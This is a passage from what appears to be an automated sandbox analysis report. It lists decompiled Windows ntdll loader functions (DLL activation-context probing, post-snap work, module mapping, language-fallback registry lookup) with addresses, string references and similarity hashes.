					return E0341B640(_t49, 0, _v8 ^ _t52, _t47, _t48, _t49);
				}
				_t47 =  *((intOrPtr*)(__ecx + 0x18));
				_t43 =  *0x34c7984; // 0x2f81de0
				if( *((intOrPtr*)( *[fs:0x30] + 0x1f8)) == 0 || __ecx != _t43) {
					_t32 =  *((intOrPtr*)(_t48 + 0x28));
					if(_t48 == _t43) {
						_t50 = 0x5c;
						if( *_t32 == _t50) {
							_t46 = 0x3f;
							if( *((intOrPtr*)(_t32 + 2)) == _t46 &&  *((intOrPtr*)(_t32 + 4)) == _t46 &&  *((intOrPtr*)(_t32 + 6)) == _t50 &&  *((intOrPtr*)(_t32 + 8)) != 0 &&  *((short*)(_t32 + 0xa)) == 0x3a &&  *((intOrPtr*)(_t32 + 0xc)) == _t50) {
								_t32 = _t32 + 8;
							}
						}
					}
					_t51 =  *0x34c8464; // 0x73b80110
					 *0x34cb1e0(_t47, _t32,  &_v12);
					_t49 =  *_t51();
					if(_t49 >= 0) {
						L8:
						_t35 = _v12;
						if(_t35 != 0) {
							if( *((intOrPtr*)(_t48 + 0x48)) != 0) {
								E03409B10( *((intOrPtr*)(_t48 + 0x48)));
								_t35 = _v12;
							}
							 *((intOrPtr*)(_t48 + 0x48)) = _t35;
						}
						goto L9;
					}
					if(_t49 != 0xc000008a) {
						if(_t49 != 0xc000008b && _t49 != 0xc0000089 && _t49 != 0xc000000f && _t49 != 0xc0000204 && _t49 != 0xc0000002) {
							if(_t49 != 0xc00000bb) {
								goto L8;
							}
						}
					}
					if(( *0x34c5780 & 0x00000005) != 0) {
						_push(_t49);
						E03455510("minkernel\\ntdll\\ldrsnap.c", 0x298, "LdrpFindDllActivationContext", 2, "Probing for the manifest of DLL \"%wZ\" failed with status 0x%08lx\n", _t48 + 0x24);
						_t53 = _t53 + 0x1c;
					}
					_t49 = 0;
					goto L8;
				} else {
					goto L9;
				}
			}

0x03408e0f
0x03408e16
0x03408e19
0x03408e1b
0x03408e21
0x03408e7f
0x03408e85
0x03449354
0x0344936c
0x03449371
0x0344937b
0x03449381
0x03449381
0x0344937b
0x03408e9d
0x03408e9d
0x03408e29
0x03408e2c
0x03408e38
0x03408e3e
0x03408e43
0x03408eb5
0x03408eb9
0x034492aa
0x034492af
0x034492e8
0x034492e8
0x034492af
0x03408eb9
0x03408e45
0x03408e53
0x03408e5b
0x03408e5f
0x03408e78
0x03408e78
0x03408e7d
0x03408ec3
0x03408ecd
0x03408ed2
0x03408ed2
0x03408ec5
0x03408ec5
0x00000000
0x03408e7d
0x03408e67
0x03408ea4
0x0344931a
0x00000000
0x00000000
0x03449320
0x03408ea4
0x03408e70
0x03449325
0x03449340
0x03449345
0x03449345
0x03408e76
0x00000000
0x00000000
0x00000000
0x00000000

Strings

Probing for the manifest of DLL "%wZ" failed with status 0x%08lx, xrefs: 0344932A
minkernel\ntdll\ldrsnap.c, xrefs: 0344933B, 03449367
LdrpFindDllActivationContext, xrefs: 03449331, 0344935D
Querying the active activation context failed with status 0x%08lx, xrefs: 03449357

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpFindDllActivationContext$Probing for the manifest of DLL "%wZ" failed with status 0x%08lx$Querying the active activation context failed with status 0x%08lx$minkernel\ntdll\ldrsnap.c
API String ID: 0-3779518884
Opcode ID: f7a76694be203c761ab36a09c0b32c6acff41275d3807b819923f61ccba4caad
Instruction ID: cbdf8f2489ea55e87c182350dbb2fa90cc230ba60bc9ad1b5639dfa3e2ea214e
Opcode Fuzzy Hash: f7a76694be203c761ab36a09c0b32c6acff41275d3807b819923f61ccba4caad
Instruction Fuzzy Hash: B6410C31B003159FDB74EA18898DA7BB6B4B705254F0D41BBD914EF6D2E770AC8086CB

Uniqueness

Uniqueness Score: -1.00%

Function 033E8794, Relevance: 4.0, Strings: 3, Instructions: 255
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E033E8794(void* __ecx) {
				signed int _v0;
				char _v8;
				signed int _v12;
				void* _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				signed int _v32;
				signed int _v40;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t77;
				signed int _t80;
				signed char _t81;
				signed int _t87;
				signed int _t91;
				void* _t92;
				void* _t94;
				signed int _t95;
				signed int _t103;
				signed int _t105;
				signed int _t110;
				signed int _t118;
				intOrPtr* _t121;
				intOrPtr _t122;
				signed int _t125;
				signed int _t129;
				signed int _t131;
				signed int _t134;
				signed int _t136;
				signed int _t143;
				signed int* _t147;
				signed int _t151;
				void* _t153;
				signed int* _t157;
				signed int _t159;
				signed int _t161;
				signed int _t166;
				signed int _t168;

				_push(__ecx);
				_t153 = __ecx;
				_t159 = 0;
				_t121 = __ecx + 0x3c;
				if( *_t121 == 0) {
					L2:
					_t77 =  *((intOrPtr*)(_t153 + 0x58));
					if(_t77 == 0 ||  *_t77 ==  *((intOrPtr*)(_t153 + 0x54))) {
						_t122 =  *((intOrPtr*)(_t153 + 0x20));
						_t180 =  *((intOrPtr*)(_t122 + 0x3a));
						if( *((intOrPtr*)(_t122 + 0x3a)) != 0) {
							L6:
							if(E033E934A() != 0) {
								_t159 = E0345A9D2( *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)), 0, 0);
								__eflags = _t159;
								if(_t159 < 0) {
									_t81 =  *0x34c5780; // 0x0
									__eflags = _t81 & 0x00000003;
									if((_t81 & 0x00000003) != 0) {
										_push(_t159);
										E03455510("minkernel\\ntdll\\ldrsnap.c", 0x235, "LdrpDoPostSnapWork", 0, "LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x\n",  *((intOrPtr*)( *((intOrPtr*)(_t153 + 0x20)) + 0x18)));
										_t81 =  *0x34c5780; // 0x0
									}
									__eflags = _t81 & 0x00000010;
									if((_t81 & 0x00000010) != 0) {
										asm("int3");
									}
								}
							}
						} else {
							_t159 = E033E849B(0, _t122, _t153, _t159, _t180);
							if(_t159 >= 0) {
								goto L6;
							}
						}
						_t80 = _t159;
						goto L8;
					} else {
						_t125 = 0x13;
						asm("int 0x29");
						_push(0);
						_push(_t159);
						_t161 = _t125;
						_t87 =  *( *[fs:0x30] + 0x1e8);
						_t143 = 0;
						_v40 = _t161;
						_t118 = 0;
						_push(_t153);
						__eflags = _t87;
						if(_t87 != 0) {
							_t118 = _t87 + 0x5d8;
							__eflags = _t118;
							if(_t118 == 0) {
								L46:
								_t118 = 0;
							} else {
								__eflags =  *(_t118 + 0x30);
								if( *(_t118 + 0x30) == 0) {
									goto L46;
								}
							}
						}
						_v32 = 0;
						_v28 = 0;
						_v16 = 0;
						_v20 = 0;
						_v12 = 0;
						__eflags = _t118;
						if(_t118 != 0) {
							__eflags = _t161;
							if(_t161 != 0) {
								__eflags =  *(_t118 + 8);
								if( *(_t118 + 8) == 0) {
									L22:
									_t143 = 1;
									__eflags = 1;
								} else {
									_t19 = _t118 + 0x40; // 0x40
									_t156 = _t19;
									E033E8999(_t19,  &_v16);
									__eflags = _v0;
									if(_v0 != 0) {
										__eflags = _v0 - 1;
										if(_v0 != 1) {
											goto L22;
										} else {
											_t128 =  *(_t161 + 0x64);
											__eflags =  *(_t161 + 0x64);
											if( *(_t161 + 0x64) == 0) {
												goto L22;
											} else {
												E033E8999(_t128,  &_v12);
												_t147 = _v12;
												_t91 = 0;
												__eflags = 0;
												_t129 =  *_t147;
												while(1) {
													__eflags =  *((intOrPtr*)(0x34c5c60 + _t91 * 8)) - _t129;
													if( *((intOrPtr*)(0x34c5c60 + _t91 * 8)) == _t129) {
														break;
													}
													_t91 = _t91 + 1;
													__eflags = _t91 - 5;
													if(_t91 < 5) {
														continue;
													} else {
														_t131 = 0;
														__eflags = 0;
													}
													L37:
													__eflags = _t131;
													if(_t131 != 0) {
														goto L22;
													} else {
														__eflags = _v16 - _t147;
														if(_v16 != _t147) {
															goto L22;
														} else {
															E033F2280(_t92, 0x34c86cc);
															_t94 = E034A9DFB( &_v20);
															__eflags = _t94 - 1;
															if(_t94 != 1) {
															}
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															_t95 = E034061A0( &_v32);
															__eflags = _t95;
															if(_t95 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t71 = _t118 + 0x40; // 0x3f
																	_t134 = _t71;
																	goto L55;
																}
															}
															goto L30;
														}
													}
													goto L56;
												}
												_t92 = 0x34c5c64 + _t91 * 8;
												asm("lock xadd [eax], ecx");
												_t131 = (_t129 | 0xffffffff) - 1;
												goto L37;
											}
										}
										goto L56;
									} else {
										_t143 = E033E8A0A( *((intOrPtr*)(_t161 + 0x18)),  &_v12);
										__eflags = _t143;
										if(_t143 != 0) {
											_t157 = _v12;
											_t103 = 0;
											__eflags = 0;
											_t136 =  &(_t157[1]);
											 *(_t161 + 0x64) = _t136;
											_t151 =  *_t157;
											_v20 = _t136;
											while(1) {
												__eflags =  *((intOrPtr*)(0x34c5c60 + _t103 * 8)) - _t151;
												if( *((intOrPtr*)(0x34c5c60 + _t103 * 8)) == _t151) {
													break;
												}
												_t103 = _t103 + 1;
												__eflags = _t103 - 5;
												if(_t103 < 5) {
													continue;
												}
												L21:
												_t105 = E0341F380(_t136, 0x33b1184, 0x10);
												__eflags = _t105;
												if(_t105 != 0) {
													__eflags =  *_t157 -  *_v16;
													if( *_t157 >=  *_v16) {
														goto L22;
													} else {
														asm("cdq");
														_t166 = _t157[5] & 0x0000ffff;
														_t108 = _t157[5] & 0x0000ffff;
														asm("cdq");
														_t168 = _t166 << 0x00000010 | _t157[5] & 0x0000ffff;
														__eflags = ((_t151 << 0x00000020 | _t166) << 0x10 | _t151) -  *((intOrPtr*)(_t118 + 0x2c));
														if(__eflags > 0) {
															L29:
															E033F2280(_t108, 0x34c86cc);
															 *_t118 =  *_t118 + 1;
															_t42 = _t118 + 0x40; // 0x3f
															_t156 = _t42;
															asm("adc dword [ebx+0x4], 0x0");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															asm("movsd");
															_t110 = E034061A0( &_v32);
															__eflags = _t110;
															if(_t110 != 0) {
																__eflags = _v32 | _v28;
																if((_v32 | _v28) != 0) {
																	_t134 = _v20;
																	L55:
																	E034A9D2E(_t134, 1, _v32, _v28,  *(_v24 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_v24 + 0x28)));
																}
															}
															L30:
															 *_t118 =  *_t118 + 1;
															asm("adc dword [ebx+0x4], 0x0");
															E033EFFB0(_t118, _t156, 0x34c86cc);
															goto L22;
														} else {
															if(__eflags < 0) {
																goto L22;
															} else {
																__eflags = _t168 -  *((intOrPtr*)(_t118 + 0x28));
																if(_t168 <  *((intOrPtr*)(_t118 + 0x28))) {
																	goto L22;
																} else {
																	goto L29;
																}
															}
														}
													}
													goto L56;
												}
												goto L22;
											}
											asm("lock inc dword [eax]");
											goto L21;
										}
									}
								}
							}
						}
						return _t143;
					}
				} else {
					_push( &_v8);
					_push( *((intOrPtr*)(__ecx + 0x50)));
					_push(__ecx + 0x40);
					_push(_t121);
					_push(0xffffffff);
					_t80 = E03419A00();
					_t159 = _t80;
					if(_t159 < 0) {
						L8:
						return _t80;
					} else {
						goto L2;
					}
				}
				L56:
			}

0x033e8799
0x033e879d
0x033e87a1
0x033e87a3
0x033e87a8
0x033e87c3
0x033e87c3
0x033e87c8
0x033e87d1
0x033e87d4
0x033e87d8
0x033e87e5
0x033e87ec
0x03439bfe
0x03439c00
0x03439c02
0x03439c08
0x03439c0d
0x03439c0f
0x03439c14
0x03439c2d
0x03439c32
0x03439c37
0x03439c3a
0x03439c3c
0x03439c42
0x03439c42
0x03439c3c
0x03439c02
0x033e87da
0x033e87df
0x033e87e3
0x00000000
0x00000000
0x033e87e3
0x033e87f2
0x00000000
0x033e87fb
0x033e87fd
0x033e87fe
0x033e880e
0x033e880f
0x033e8810
0x033e8814
0x033e881a
0x033e881c
0x033e881f
0x033e8821
0x033e8822
0x033e8824
0x033e8826
0x033e882c
0x033e882e
0x03439c48
0x03439c48
0x033e8834
0x033e8834
0x033e8837
0x00000000
0x00000000
0x033e8837
0x033e882e
0x033e883d
0x033e8840
0x033e8843
0x033e8846
0x033e8849
0x033e884c
0x033e884e
0x033e8850
0x033e8852
0x033e8854
0x033e8857
0x033e88b4
0x033e88b6
0x033e88b6
0x033e8859
0x033e8859
0x033e8859
0x033e8861
0x033e8866
0x033e886a
0x033e893d
0x033e8941
0x00000000
0x033e8947
0x033e8947
0x033e894a
0x033e894c
0x00000000
0x033e8952
0x033e8955
0x033e895a
0x033e895d
0x033e895d
0x033e895f
0x033e8961
0x033e8961
0x033e8968
0x00000000
0x00000000
0x033e896a
0x033e896b
0x033e896e
0x00000000
0x033e8970
0x033e8970
0x033e8970
0x033e8970
0x033e8972
0x033e8972
0x033e8974
0x00000000
0x033e897a
0x033e897a
0x033e897d
0x00000000
0x033e8983
0x03439c65
0x03439c6d
0x03439c72
0x03439c75
0x03439c75
0x03439c82
0x03439c86
0x03439c87
0x03439c88
0x03439c89
0x03439c8c
0x03439c90
0x03439c95
0x03439c97
0x03439ca0
0x03439ca3
0x03439ca9
0x03439ca9
0x00000000
0x03439ca9
0x03439ca3
0x00000000
0x03439c97
0x033e897d
0x00000000
0x033e8974
0x033e8988
0x033e8992
0x033e8996
0x00000000
0x033e8996
0x033e894c
0x00000000
0x033e8870
0x033e887b
0x033e887d
0x033e887f
0x033e8881
0x033e8884
0x033e8884
0x033e8886
0x033e8889
0x033e888c
0x033e888e
0x033e8891
0x033e8891
0x033e8898
0x00000000
0x00000000
0x033e889a
0x033e889b
0x033e889e
0x00000000
0x00000000
0x033e88a0
0x033e88a8
0x033e88b0
0x033e88b2
0x033e88d3
0x033e88d5
0x00000000
0x033e88d7
0x033e88db
0x033e88dc
0x033e88e0
0x033e88e8
0x033e88ee
0x033e88f0
0x033e88f3
0x033e88fc
0x033e8901
0x033e8906
0x033e890c
0x033e890c
0x033e890f
0x033e8916
0x033e8917
0x033e8918
0x033e8919
0x033e891a
0x033e891f
0x033e8921
0x03439c52
0x03439c55
0x03439c5b
0x03439cac
0x03439cc0
0x03439cc0
0x03439c55
0x033e8927
0x033e8927
0x033e892f
0x033e8933
0x00000000
0x033e88f5
0x033e88f5
0x00000000
0x033e88f7
0x033e88f7
0x033e88fa
0x00000000
0x00000000
0x00000000
0x00000000
0x033e88fa
0x033e88f5
0x033e88f3
0x00000000
0x033e88d5
0x00000000
0x033e88b2
0x033e88c9
0x00000000
0x033e88c9
0x033e887f
0x033e886a
0x033e8857
0x033e8852
0x033e88bf
0x033e88bf
0x033e87aa
0x033e87ad
0x033e87ae
0x033e87b4
0x033e87b5
0x033e87b6
0x033e87b8
0x033e87bd
0x033e87c1
0x033e87f4
0x033e87fa
0x00000000
0x00000000
0x00000000
0x033e87c1
0x00000000

Strings

LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x, xrefs: 03439C18
minkernel\ntdll\ldrsnap.c, xrefs: 03439C28
LdrpDoPostSnapWork, xrefs: 03439C1E

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: LdrpDoPostSnapWork$LdrpDoPostSnapWork:Unable to unsuppress the export suppressed functions that are imported in the DLL based at 0x%p.Status = 0x%x$minkernel\ntdll\ldrsnap.c
API String ID: 0-1948996284
Opcode ID: 4ff4590d74213151f3fd85fd7ae5e487b7025c2cf948314d24eaaa1249a63647
Instruction ID: b722fbe62fb5d9b15c0d44b792fb8f60146bdc1ddcc548bbcc7c36d23e54b4c6
Opcode Fuzzy Hash: 4ff4590d74213151f3fd85fd7ae5e487b7025c2cf948314d24eaaa1249a63647
Instruction Fuzzy Hash: 1A91F235E002299FDB18DF59C8C0ABAB3B9FF45B01B1941AAED15AF280D770ED41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 033E7E41, Relevance: 3.9, Strings: 3, Instructions: 174
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E033E7E41(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				char _v24;
				signed int _t73;
				void* _t77;
				char* _t82;
				char* _t87;
				signed char* _t97;
				signed char _t102;
				intOrPtr _t107;
				signed char* _t108;
				intOrPtr _t112;
				intOrPtr _t124;
				intOrPtr _t125;
				intOrPtr _t126;

				_t107 = __edx;
				_v12 = __ecx;
				_t125 =  *((intOrPtr*)(__ecx + 0x20));
				_t124 = 0;
				_v20 = __edx;
				if(E033ECEE4( *((intOrPtr*)(_t125 + 0x18)), 1, 0xe,  &_v24,  &_v8) >= 0) {
					_t112 = _v8;
				} else {
					_t112 = 0;
					_v8 = 0;
				}
				if(_t112 != 0) {
					if(( *(_v12 + 0x10) & 0x00800000) != 0) {
						_t124 = 0xc000007b;
						goto L8;
					}
					_t73 =  *(_t125 + 0x34) | 0x00400000;
					 *(_t125 + 0x34) = _t73;
					if(( *(_t112 + 0x10) & 0x00000001) == 0) {
						goto L3;
					}
					 *(_t125 + 0x34) = _t73 | 0x01000000;
					_t124 = E033DC9A4( *((intOrPtr*)(_t125 + 0x18)));
					if(_t124 < 0) {
						goto L8;
					} else {
						goto L3;
					}
				} else {
					L3:
					if(( *(_t107 + 0x16) & 0x00002000) == 0) {
						 *(_t125 + 0x34) =  *(_t125 + 0x34) & 0xfffffffb;
						L8:
						return _t124;
					}
					if(( *( *((intOrPtr*)(_t125 + 0x5c)) + 0x10) & 0x00000080) != 0) {
						if(( *(_t107 + 0x5e) & 0x00000080) != 0) {
							goto L5;
						}
						_t102 =  *0x34c5780; // 0x0
						if((_t102 & 0x00000003) != 0) {
							E03455510("minkernel\\ntdll\\ldrmap.c", 0x363, "LdrpCompleteMapModule", 0, "Could not validate the crypto signature for DLL %wZ\n", _t125 + 0x24);
							_t102 =  *0x34c5780; // 0x0
						}
						if((_t102 & 0x00000010) != 0) {
							asm("int3");
						}
						_t124 = 0xc0000428;
						goto L8;
					}
					L5:
					if(( *(_t125 + 0x34) & 0x01000000) != 0) {
						goto L8;
					}
					_t77 = _a4 - 0x40000003;
					if(_t77 == 0 || _t77 == 0x33) {
						_v16 =  *((intOrPtr*)(_t125 + 0x18));
						if(E033F7D50() != 0) {
							_t82 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
						} else {
							_t82 = 0x7ffe0384;
						}
						_t108 = 0x7ffe0385;
						if( *_t82 != 0) {
							if(( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E033F7D50() == 0) {
									_t97 = 0x7ffe0385;
								} else {
									_t97 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t97 & 0x00000020) != 0) {
									E03457016(0x1490, _v16, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
						}
						if(_a4 != 0x40000003) {
							L14:
							_t126 =  *((intOrPtr*)(_t125 + 0x18));
							if(E033F7D50() != 0) {
								_t87 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
							} else {
								_t87 = 0x7ffe0384;
							}
							if( *_t87 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000004) != 0) {
								if(E033F7D50() != 0) {
									_t108 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
								}
								if(( *_t108 & 0x00000020) != 0) {
									E03457016(0x1491, _t126, 0xffffffff, 0xffffffff, 0, 0);
								}
							}
							goto L8;
						} else {
							_v16 = _t125 + 0x24;
							_t124 = E0340A1C3( *((intOrPtr*)(_t125 + 0x18)),  *((intOrPtr*)(_v12 + 0x5c)), _v20, _t125 + 0x24);
							if(_t124 < 0) {
								E033DB1E1(_t124, 0x1490, 0, _v16);
								goto L8;
							}
							goto L14;
						}
					} else {
						goto L8;
					}
				}
			}

0x033e7e4c
0x033e7e50
0x033e7e55
0x033e7e58
0x033e7e5d
0x033e7e71
0x033e7f33
0x033e7e77
0x033e7e77
0x033e7e79
0x033e7e79
0x033e7e7e
0x033e7f45
0x03439848
0x00000000
0x03439848
0x033e7f4e
0x033e7f53
0x033e7f5a
0x00000000
0x00000000
0x0343985a
0x03439862
0x03439866
0x00000000
0x0343986c
0x00000000
0x0343986c
0x033e7e84
0x033e7e84
0x033e7e8d
0x03439871
0x033e7eb8
0x033e7ec0
0x033e7ec0
0x033e7e9a
0x0343987e
0x00000000
0x00000000
0x03439884
0x0343988b
0x034398a7
0x034398ac
0x034398b1
0x034398b6
0x034398b8
0x034398b8
0x034398b9
0x00000000
0x034398b9
0x033e7ea0
0x033e7ea7
0x00000000
0x00000000
0x033e7eac
0x033e7eb1
0x033e7ec6
0x033e7ed0
0x034398cc
0x033e7ed6
0x033e7ed6
0x033e7ed6
0x033e7ede
0x033e7ee3
0x034398e3
0x034398f0
0x03439902
0x034398f2
0x034398fb
0x034398fb
0x03439907
0x0343991d
0x0343991d
0x03439907
0x034398e3
0x033e7ef0
0x033e7f14
0x033e7f14
0x033e7f1e
0x03439946
0x033e7f24
0x033e7f24
0x033e7f24
0x033e7f2c
0x0343996a
0x03439975
0x03439975
0x0343997e
0x03439993
0x03439993
0x0343997e
0x00000000
0x033e7ef2
0x033e7efc
0x033e7f0a
0x033e7f0e
0x03439933
0x00000000
0x03439933
0x00000000
0x033e7f0e
0x00000000
0x00000000
0x00000000
0x033e7eb1

Strings

minkernel\ntdll\ldrmap.c, xrefs: 034398A2
Could not validate the crypto signature for DLL %wZ, xrefs: 03439891
LdrpCompleteMapModule, xrefs: 03439898

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 2894de6c5389cded3a9bb08e29029a544df367a30bae86e24c1f21783c65cb55
Instruction ID: ae1ffbcabd1adcf4da4e7cf57d5ed5e739c5ca0c15aa2b15a485075f639270fd
Opcode Fuzzy Hash: 2894de6c5389cded3a9bb08e29029a544df367a30bae86e24c1f21783c65cb55
Instruction Fuzzy Hash: A9511331A007449FDB25CB68C9C4B6ABBE8EF85710F0806AAE9519F7E1D770ED00CB94

Uniqueness

Uniqueness Score: -1.00%

Function 033DE620, Relevance: 3.9, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E033DE620(void* __ecx, short* __edx, short* _a4) {
				char _v16;
				char _v20;
				intOrPtr _v24;
				char* _v28;
				char _v32;
				char _v36;
				char _v44;
				signed int _v48;
				intOrPtr _v52;
				void* _v56;
				void* _v60;
				char _v64;
				void* _v68;
				void* _v76;
				void* _v84;
				signed int _t59;
				signed int _t74;
				signed short* _t75;
				signed int _t76;
				signed short* _t78;
				signed int _t83;
				short* _t93;
				signed short* _t94;
				short* _t96;
				void* _t97;
				signed int _t99;
				void* _t101;
				void* _t102;

				_t80 = __ecx;
				_t101 = (_t99 & 0xfffffff8) - 0x34;
				_t96 = __edx;
				_v44 = __edx;
				_t78 = 0;
				_v56 = 0;
				if(__ecx == 0 || __edx == 0) {
					L28:
					_t97 = 0xc000000d;
				} else {
					_t93 = _a4;
					if(_t93 == 0) {
						goto L28;
					}
					_t78 = E033DF358(__ecx, 0xac);
					if(_t78 == 0) {
						_t97 = 0xc0000017;
						L6:
						if(_v56 != 0) {
							_push(_v56);
							E034195D0();
						}
						if(_t78 != 0) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t78);
						}
						return _t97;
					}
					E0341FA60(_t78, 0, 0x158);
					_v48 = _v48 & 0x00000000;
					_t102 = _t101 + 0xc;
					 *_t96 = 0;
					 *_t93 = 0;
					E0341BB40(_t80,  &_v36, L"\\Registry\\Machine\\System\\CurrentControlSet\\Control\\NLS\\Language");
					_v36 = 0x18;
					_v28 =  &_v44;
					_v64 = 0;
					_push( &_v36);
					_push(0x20019);
					_v32 = 0;
					_push( &_v64);
					_v24 = 0x40;
					_v20 = 0;
					_v16 = 0;
					_t97 = E03419600();
					if(_t97 < 0) {
						goto L6;
					}
					E0341BB40(0,  &_v36, L"InstallLanguageFallback");
					_push(0);
					_v48 = 4;
					_t97 = L033DF018(_v64,  &_v44,  &_v56, _t78,  &_v48);
					if(_t97 >= 0) {
						if(_v52 != 1) {
							L17:
							_t97 = 0xc0000001;
							goto L6;
						}
						_t59 =  *_t78 & 0x0000ffff;
						_t94 = _t78;
						_t83 = _t59;
						if(_t59 == 0) {
							L19:
							if(_t83 == 0) {
								L23:
								E0341BB40(_t83, _t102 + 0x24, _t78);
								if(L033E43C0( &_v48,  &_v64) == 0) {
									goto L17;
								}
								_t84 = _v48;
								 *_v48 = _v56;
								if( *_t94 != 0) {
									E0341BB40(_t84, _t102 + 0x24, _t94);
									if(L033E43C0( &_v48,  &_v64) != 0) {
										 *_a4 = _v56;
									} else {
										_t97 = 0xc0000001;
										 *_v48 = 0;
									}
								}
								goto L6;
							}
							_t83 = _t83 & 0x0000ffff;
							while(_t83 == 0x20) {
								_t94 =  &(_t94[1]);
								_t74 =  *_t94 & 0x0000ffff;
								_t83 = _t74;
								if(_t74 != 0) {
									continue;
								}
								goto L23;
							}
							goto L23;
						} else {
							goto L14;
						}
						while(1) {
							L14:
							_t27 =  &(_t94[1]); // 0x2
							_t75 = _t27;
							if(_t83 == 0x2c) {
								break;
							}
							_t94 = _t75;
							_t76 =  *_t94 & 0x0000ffff;
							_t83 = _t76;
							if(_t76 != 0) {
								continue;
							}
							goto L23;
						}
						 *_t94 = 0;
						_t94 = _t75;
						_t83 =  *_t75 & 0x0000ffff;
						goto L19;
					}
				}
			}

0x033de620
0x033de628
0x033de62f
0x033de631
0x033de635
0x033de637
0x033de63e
0x03435503
0x03435503
0x033de64c
0x033de64c
0x033de651
0x00000000
0x00000000
0x033de661
0x033de665
0x0343542a
0x033de715
0x033de71a
0x033de71c
0x033de720
0x033de720
0x033de727
0x033de736
0x033de736
0x033de743
0x033de743
0x033de673
0x033de678
0x033de67d
0x033de682
0x033de685
0x033de692
0x033de69b
0x033de6a3
0x033de6ad
0x033de6b1
0x033de6b2
0x033de6bb
0x033de6bf
0x033de6c0
0x033de6c8
0x033de6cc
0x033de6d5
0x033de6d9
0x00000000
0x00000000
0x033de6e5
0x033de6ea
0x033de6f9
0x033de70b
0x033de70f
0x03435439
0x0343545e
0x0343545e
0x00000000
0x0343545e
0x0343543b
0x0343543e
0x03435440
0x03435445
0x03435472
0x03435475
0x0343548d
0x03435493
0x034354a9
0x00000000
0x00000000
0x034354ab
0x034354b4
0x034354bc
0x034354c8
0x034354de
0x034354fb
0x034354e0
0x034354e6
0x034354eb
0x034354eb
0x034354de
0x00000000
0x034354bc
0x03435477
0x0343547a
0x03435480
0x03435483
0x03435486
0x0343548b
0x00000000
0x00000000
0x00000000
0x0343548b
0x00000000
0x00000000
0x00000000
0x00000000
0x03435447
0x03435447
0x03435447
0x03435447
0x0343544e
0x00000000
0x00000000
0x03435450
0x03435452
0x03435455
0x0343545a
0x00000000
0x00000000
0x00000000
0x0343545c
0x0343546a
0x0343546d
0x0343546f
0x00000000
0x0343546f
0x033de70f

Strings

InstallLanguageFallback, xrefs: 033DE6DB
@, xrefs: 033DE6C0
\Registry\Machine\System\CurrentControlSet\Control\NLS\Language, xrefs: 033DE68C

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @$InstallLanguageFallback$\Registry\Machine\System\CurrentControlSet\Control\NLS\Language
API String ID: 0-1757540487
Opcode ID: cb7d87a3a1f80dea7b64c24c01ceb20e21122f626271c15199ce4270ba19cae2
Instruction ID: 2f3bb407993290c674bd3d33b7a53409b4afc9acc44b8b478505eb1ebd0d6724
Opcode Fuzzy Hash: cb7d87a3a1f80dea7b64c24c01ceb20e21122f626271c15199ce4270ba19cae2
Instruction Fuzzy Hash: 3B51BE765083059BC714DF25D480BABB3E8BF8A614F09096EF989DF240F734DA08C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 033DB171, Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E033DB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
